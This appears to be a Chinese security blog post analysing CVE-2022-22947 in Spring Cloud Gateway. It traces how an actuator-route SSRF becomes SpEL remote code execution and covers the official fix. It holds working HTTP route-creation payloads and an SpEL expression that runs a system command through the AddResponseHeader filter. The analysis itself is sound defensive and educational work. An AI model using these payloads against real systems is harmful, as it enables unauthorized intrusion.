长亭百川云 - 文章详情

从SSRF 到 RCE —— 对 Spring Cloud Gateway RCE漏洞的分析

技术猫屋

58

2024-07-13

0x01 写在前面

本周二(3.1)的时候Spring官方发布了 Spring Cloud Gateway CVE 报告

其中编号为 CVE-2022-22947 Spring Cloud Gateway 代码注入漏洞的严重性为危急,周三周四的时候就有不少圈内的朋友发了分析和复现过程,由于在工作和写论文,就一直没去跟踪看看,周末抽了点时间对这个漏洞进行复现分析了一下。还是挺有意思的。

0x02 从SSRF说起

看到这个漏洞利用流程的时候,就有一种熟悉的既视感,回去翻了翻陈师傅的星球,果然:

去年12月的时候,陈师傅提了一个 actuator gateway 的 SSRF漏洞,这个漏洞来自 wya

作者在文章中提到,通过Spring Cloud Gateway 执行器(actuator)提供的管理功能就可以对路由进行添加、删除等操作。

因此作者利用 actuator 提供的路由添加功能,并根据官方示例,如下图:

添加了一个路由:

`POST /actuator/gateway/routes/new_route HTTP/1.1``Host: 127.0.0.1:9000``Connection: close``Content-Type: application/json``   ``{``"predicates": [`  `{`    `"name": "Path",`    `"args": {`      `"_genkey_0": "/new_route/**"`    `}`  `}``],``"filters": [`  `{`    `"name": "RewritePath",`    `"args": {`      `"_genkey_0": "/new_route(?<path>.*)",`      `"_genkey_1": "/${path}"`    `}`  `}``],``"uri": "https://wya.pl",``"order": 0``}`

在执行 refresh 操作后,作者成功执行了一个SSRF请求(向https://wya.pl/index.php发起的请求):

陈师傅最后还在星球里给了个演示的实例:

https://github.com/API-Security/APISandbox/blob/main/OASystem/README.md

先不具体讨论为什么payload会这样写,如果你熟悉 CVE-2022-22947 的payload,那么看到这里你一定会有同样的熟悉感。

是的,CVE-2022-22947 这个漏洞实际上就是这个 SSRF 的进阶版,并且触发SSRF的原理并不复杂

首先利用/actuator/gateway/routes/{new route}的方式指定一个URL地址,并针对该地址添加一个路由

`POST /actuator/gateway/routes/new_route HTTP/1.1``Host: 127.0.0.1:8080``Connection: close``Content-Type: application/json``   ``{``"predicates": [`  `{`    `"name": "Path",`    `"args": {`      `"_genkey_0": "/new_route/**"`    `}`  `}``],``"filters": [`  `{`    `"name": "RewritePath",`    `"args": {`      `"_genkey_0": "/new_route(?<path>.*)",`      `"_genkey_1": "/${path}"`    `}`  `}``],``"uri": "https://www.cnpanda.net",``"order": 0``}`

然后刷新令这个路由生效:

`POST /actuator/gateway/routes/new_route HTTP/1.1``Host: 127.0.0.1:8080``Connection: close``Content-Type: application/json``   ``{``"predicate": "Paths: [/new_route], match trailing slash: true",``"route_id": "new_route",``"filters": [`  `"[[RewritePath /new_route(?<path>.*) = /${path}], order = 1]"``],``"uri": "https://www.cnpanda.net",``"order": 0``}`

最后直接访问/new_route/index.php即可触发SSRF漏洞。

到这里有两个问题:

第一,payload为什么会这样写?

第二,整个请求流程是什么样的?

首先来看第一个问题,payload为什么会这样写

上文中我们提到了Spring Cloud Gateway官方给的实例如下:

`{` `"id": "first_route",` `"predicates": [{`   `"name": "Path",`   `"args": {"_genkey_0":"/first"}``}],` `"filters": [],` `"uri": "https://www.uri-destination.org",` `"order": 0``}`

这实例对比一下SSRF的payload,我们可以发现,在SSRF的payload中多了对过滤器(filters)的具体定义。

而纵观整个payload,实际上可以发现,其就是一个动态路由的配置过程

在Spring Cloud Gateway中,路由的配置分为静态配置和动态配置,对于静态配置而言,一旦要添加、修改或者删除内存中的路由配置和规则,就必须重启才可以。但在现实生产环境中,使用 Spring Cloud Gateway 都是作为所有流量的入口,为了保证系统的高可用性,需要尽量避免系统的重启,因而一般情况下,Spring Cloud Gateway使用的都是动态路由。

Spring Cloud Gateway 配置动态路由的方式有两种,第一种就是比较常见的,通过重写代码,实现一套动态路由方法,如这里就有一个动态路由的配置过程。第二种就是上文中SSRF这种方式,但是这种方式是基于jvm内存实现,一旦服务重启,新增的路由配置信息就是完全消失了。这也是P师傅在v2ex上回答的原理

所以其实payload就是比较固定的格式,首先定义一个谓词(predicates),用来匹配来自用户的请求,然后再增加一个内置或自定义的过滤器(filters),用于执行额外的功能逻辑。

payload中我们用的是重写路径过滤器(RewritePath),类似的还有设置路径过滤器(SetPath)、去掉URL前缀过滤器(StripPrefix)等,具体可以参考gateway内置的filter[参见:https://www.cnblogs.com/duanxz/p/14780675.html\]这张图:

以及gateway内置的Global Filter[参见:https://www.cnblogs.com/duanxz/p/14780675.html\]图:

第一个问题搞懂了就可以看看第二个问题了:整个请求流程是什么样的?

还是如上例所演示的,当在浏览器中向127.0.0.1:8080地址发起根路径为/new_route的请求时,会被 Spring Cloud Gateway 转发请求到https://www.cnpanda.net/的根路径下

比如,我们向127.0.0.1:8080地址发起为/new_route/index.php的请求,那么实际上会被 Spring Cloud Gateway 转发请求到https://www.cnpanda.net/index.php的路径下,官方在其官方文档(Spring Cloud GateWay工作流程)简单说明了流程:

看起来比较简单,实际上要复杂的多,我做了一个更详细一点图帮助大家理解(看不清可以点击原文看):

我们首先向浏览器发送http://127.0.0.1:8080/new_route/index.php 的请求,浏览器接收该请求后交给Spring Cloud Gateway,由Spring Cloud Gateway 进行内部处理,首先是在 Gateway Handler Mapping 模块中找到与/new_route/index.php请求相匹配的路由,然后将其发送到Gateway Web Handler模块,在这个模块中首先进入globalFilters中,由 globalFilters(NettyWriteResponseFilter、ForwardPathFilter、RouteToRequestUrlFilter、LoadBalancerClientFilter、AdaptCachedBodyGlobalFilter、WebsocketRoutingFilter、NettyRoutingFilter、ForwardRoutingFilter) 作为构造器参数创建 FilteringWebHandler。

如下图,可以在 NettyRoutingFilter 中看到我们请求的中间态:

然后,再由 FilteringWebHandler 运行特定的请求过滤器链,所有 Pre 过滤器(前过滤器)逻辑先执行,然后再向Proxied Service 执行代理请求,代理请求完成后,再由 Proxied Service 返回到 Gateway Web Handler模块去执行 post 过滤器(后过滤器)逻辑,最后由NettyWriteResponseFilter 返回响应内容到我们。响应过程可以参考:https://juejin.cn/post/6844903639840980999

最终一次完整SSRF响应请求就形成了。

实际上这种的 SSRF 属于Spring Cloud Gateway 本身的功能带来的”副产品“,类似于PHPMyadmin后台的SQL注入漏洞。

0x03 CVE-2022-22947 分析

如果你认真的看完了上一节的内容,那么你现在可能会对这个漏洞有了更多的认识。

漏洞的触发点在于我们熟知的SpEL表达式

实际上现在不具体分析源码,根据已有payload或者官方修复diff,你也应该能够得到一个结论:在动态添加路由的过程中,某个filter可以对传入进来的值进行SpEL表达式解析,从而造成了远程代码执行漏洞

那么到底是不是如此呢?

根据这种思路,通过source和sink,然后向上向下连线的方式来验证

先来看看source,即创建路由时的payload:

`{` `"id": "hacktest",` `"filters": [{`   `"name": "AddResponseHeader",`   `"args": {`     `"name": "Result",`     `"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"`  `}``}],` `"uri": "http://example.com"``}`

可以看到这里使用的filter是AddResponseHeader,由于我们已经猜测是SPEL表达,因此我们直接搜索SpEL的触发点StandardEvaluationContext

可以发现,在 ShortcutConfigurable 接口的getValue方法中,使用了StandardEvaluationContext,并且对传入的 SpEL 表达式进行了解析

那么接着查找 ShortcutConfigurable 接口的实现类有哪些:

可以看到有很多,但是我们要找的是与AddResponseHeader过滤器相关的类,AddResponseHeader过滤器的工厂类是org.springframework.cloud.gateway.filter.factory#AddResponseHeaderGatewayFilterFactory,因此根据模块名我们可以直接确定位置:

逐一查看会发现:

AddResponseHeaderGatewayFilterFactory  继承于 AbstractNameValueGatewayFilterFactory

AbstractNameValueGatewayFilterFactory 继承于 AbstractGatewayFilterFactory

AbstractGatewayFilterFactory 实现了 GatewayFilterFactory 接口

GatewayFilterFactory 接口继承于 ShortcutConfigurable

因此当从 AddResponseHeaderGatewayFilterFactory 传入的值进行计算(getValue())的时候,会逐一向上调用对应的方法,直到进入带有 SpEL 表达式解析器的位置进行最后的解析,也从而触发了SpEL表达式注入漏洞。

最后我们也可以直接进入 AddResponseHeaderGatewayFilterFactory 类回顾看看:

`public class AddResponseHeaderGatewayFilterFactory extends AbstractNameValueGatewayFilterFactory {``   `  `@Override`  `public GatewayFilter apply(NameValueConfig config) {`    `return new GatewayFilter() {`      `@Override`      `public Mono<Void> filter(ServerWebExchange exchange, GatewayFilterChain chain) {`        `String value = ServerWebExchangeUtils.expand(exchange, config.getValue());`        `exchange.getResponse().getHeaders().add(config.getName(), value);``   `        `return chain.filter(exchange);`      `}``   `      `@Override`      `public String toString() {`        `return filterToStringCreator(AddResponseHeaderGatewayFilterFactory.this)`            `.append(config.getName(), config.getValue()).toString();`      `}`    `};`  `}``}`

可以看到,首先在apply方法中传入了NameValueConfig类型的config,点进去可以看到NameValueConfig类型有两个值,并且不能为空:

可以看到,NameValueConfig 在AbstractNameValueGatewayFilterFactory中,AbstractNameValueGatewayFilterFactory是AddResponseHeaderGatewayFilterFactory的父类,在父类中进行了getValue()操作,并且可以看到 config 中通过 getValue() 返回的 value 值就是我们所执行的SpEL表达式返回的结果:

0x04 漏洞修复


由于是SpEL表达式注入漏洞,而引起这个漏洞的原因一般是使用了 StandardEvaluationContext 方法去解析表达式,解析表达式的方法有两个:

  • SimpleEvaluationContext - 针对不需要SpEL语言语法的全部范围并且应该受到有意限制的表达式类别,公开SpEL语言特性和配置选项的子集。

  • StandardEvaluationContext - 公开全套SpEL语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略。

SimpleEvaluationContext旨在仅支持SpEL语言语法的一个子集,不包括 Java类型引用、构造函数和bean引用。而StandardEvaluationContext 支持全部SpEL语法。所以根据功能描述,将StandardEvaluationContext方法用 SimpleEvaluationContext 方法替换即可。

官方的修复方法是利用 BeanFactoryResolver 的方式去引用Bean,然后将其传入官方自己写的一个解析的方法GatewayEvaluationContext中:

此外,官方还给了建议:

如果不需要Gateway actuator的endpoint功能,就关了它吧,如果需要,那么就利用 Spring Security 对其进行保护,具体的保护方式可以参考:https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator.endpoints.security

0x05 写在最后

这个漏洞的原理还是比较清晰的,可惜没能通过陈师傅在星球发的那个SSRF漏洞更深的去分析,尝试挖掘新的漏洞,果然,成功是留给有心人的呀!

在这里提醒一下,在实际环境中,如果由于某种原因删除不起作用,有可能会导致刷新请求失败,那么就会有可能会导致站点出现问题,所以在实际测试的过程中,建议别乱搞,不然就要重启站点了。

最后,这个漏洞像不像是官方提供的一种内存马?(hhhhhhhh

文笔有限,如果文章有错误,欢迎师傅们指正

PS:再给陈师傅星球打一波广告

0x06 参考

https://juejin.cn/post/6844903639840980999

https://blog.csdn.net/qq\_38233650/article/details/98038225

https://github.com/vulhub/vulhub/blob/master/spring/CVE-2022-22947/README.zh-cn.md

https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2